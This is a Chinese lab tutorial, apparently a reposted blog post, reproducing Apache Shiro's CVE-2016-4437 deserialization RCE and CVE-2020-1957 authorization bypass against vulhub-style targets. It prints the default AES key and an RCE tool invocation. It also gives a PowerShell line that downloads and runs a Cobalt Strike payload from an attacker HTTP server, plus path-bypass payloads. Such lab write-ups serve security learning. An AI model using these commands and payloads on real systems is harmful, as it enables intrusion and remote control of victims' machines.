|
原文链接:框架安全之Shiro渗透复现(上)
一、Shiro简介
1、Shiro介绍Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理,具有以下特点:
易于使用——易用性是项目的最终目标。应用程序安全非常令人困惑和沮丧,被认为是“不可避免的灾难”。如果你让它简化到新手都可以使用它,它就将不再是一种痛苦了。
全面——没有其他安全框架的宽度范围可以同Apache Shiro一样,它可以成为你的“一站式”为您的安全需求提供保障。
灵活——Apache Shiro可以在任何应用程序环境中工作。虽然在网络工作、EJB和IoC环境中可能并不需要它。但Shiro的授权也没有任何规范,甚至没有许多依赖关系。
Web支持——Apache Shiro拥有令人兴奋的web应用程序支持,允许您基于应用程序的url创建灵活的安全策略和网络协议(例如REST),同时还提供一组JSP库控制页面输出。
低耦合——Shiro干净的API和设计模式使它容易与许多其他框架和应用程序集成。你会看到Shiro无缝地集成Spring这样的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。
被广泛支持——Apache Shiro是Apache软件基金会的一部分。项目开发和用户组都有友好的网民愿意帮助。这样的商业公司如果需要Katasoft还提供专业的支持和服务。
2、Shiro漏洞原理在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
检索RememberMe Cookie的值
进行Base64解码
进行AES解码
进行反序列化操作
在第4步中的调用反序列化时未进行任何过滤,进而可以导致触发远程代码执行漏洞。
由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie
目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。
3、Shiro漏洞指纹响应包中存在字段set-Cookie: rememberMe=deleteMe
二、环境搭建1、Java1.8安装下载地址:[https://www.java.com/zh-CN/download/](https://www.java.com/zh-CN/download/)
默认下一步安装即可
2、Tomcat8.x安装下载地址:[https://tomcat.apache.org/download-80.cgi](https://tomcat.apache.org/download-80.cgi)
默认下一步安装即可
3、部署Shiro war包将whiro.war包放置C:\Tomcat 8.5\webapps\目录下
开启Tomcat
访问网址:192.168.112.151:8080,该ip是环境自身ip地址
4、漏洞环境搭建这里使用vulhub靶场进行Spring渗透学习
0x01 Docker环境安装
参考:vulhub漏洞环境搭建
1、安装Docker
sudo apt install curlcurl -s https://get.docker.com/ | sh
2、安装python和pip
sudo apt install pythoncurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python get-pip.py
3、安装docker-compose
pip install docker-composesudo apt install docker-composedocker-compose -v
0x02 vulhub靶场安装
git clone https://github.com/vulhub/vulhub.gitcd vulhub/httpd/CVE-2017-15715/sudo docker-compose build # 构建sudo docker-compose up -d # 命令启动容器docker ps # 查看正在运行的容器sudo docker exec -it b5975a1a5bfe /bin/bash # 进入docker容器内
本机IP为192.168.112.141
参考:Docker容器进入的4种方式
三、漏洞复现以复现操作为主,底层原理解析见之后的文章
1、Apache Shiro反序列化漏洞(CVE-2016-4437)AES密钥猜解RCE
0x01 漏洞概述
在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。AES的加密密钥为硬编码,导致攻击者可以构造恶意数据造成反序列化RCE漏洞
影响版本:
Shiro < 1.2.5
0x02 漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
0x03 漏洞利用
1)使用工具进行AES密钥猜解
2)使用工具命令执行
0x04 自动化工具及上线CS
这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce,传送门
利用条件:shiro <= 1.2.4
使用延时判断key和gadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性:
- Key可修改添加
- 具有延时功能
- 执行的命令使用了Base64编码
- 区分Linux和Windows
使用方法:
输入python3 shiro-1.2.4_rce.py [http://192.168.112.151:8080/shiro/](http://192.168.112.151:8080/shiro/)这里的IP是刚刚在Win7上搭建的环境的IP
执行calc,远程打开目标主机上的计算器程序
注意点:这里命令是自动编制执行的,仍可执行,但是无回显。
上线CS:
由于上述自动化工具没有回显,这里尝试上线到CS后进一步渗透
1)开启teamserver
teamserver 192.168.112.145 1111
2)生成木马文件
开启python简易http服务,但是我这win7没安装python,就将该木马文件放到kali上,在开启简易http用于传输
3)Kali上开启python简易HTTP服务
python -m SimpleHTTPServer 8008
4)结合之前得到的shell上线CS
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe
2、 Apache Shiro权限绕过漏洞(CVE-2020-1957)越权访问
参考:Shiro 权限绕过漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)
0x01 漏洞概述
Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。
anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。authc为登陆拦截器,需要登陆才可以访问。
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。即访问/index时无需登陆,而访问/user/test时需要登陆认证。
#Shiro.ini/index = anon/user/** = authc------Ant格式:?:匹配一个字符*:匹配零个或多个字符串**:匹配路径中的零个或多个路径
这里的/**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。那么假设配置内改为:/user/* = authc,则可以匹配到/user/test但无法匹配到/user/test/(多了个斜杆),那么就会放行/user/test/。然后进入到Spring(Servlet)拦截器中,对于Spring,上述两个路径都是一致的,于是就造成了权限绕过。
影响版本:
Shiro < 1.5.3
0x02 漏洞环境
这里简单搭建环境测试下
1)拉取镜像
docker pull vulfocus/shiro-cve_2020_1957
2)查看并开启docker
docker imagesdocker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61docker ps
3)访问靶机,开启成功
0x03 漏洞利用
1)访问/hello/1,返回302重定向信息
/hello/1
2)访问/hello/1/,成功绕过authc拦截器
/hello/1/
除此之外,还可以使用下面的payload
/abcd;/../hello/1
0x04 类似漏洞
类似的漏洞还有CVE-2020-11989、CVE-2020-13933。
|
|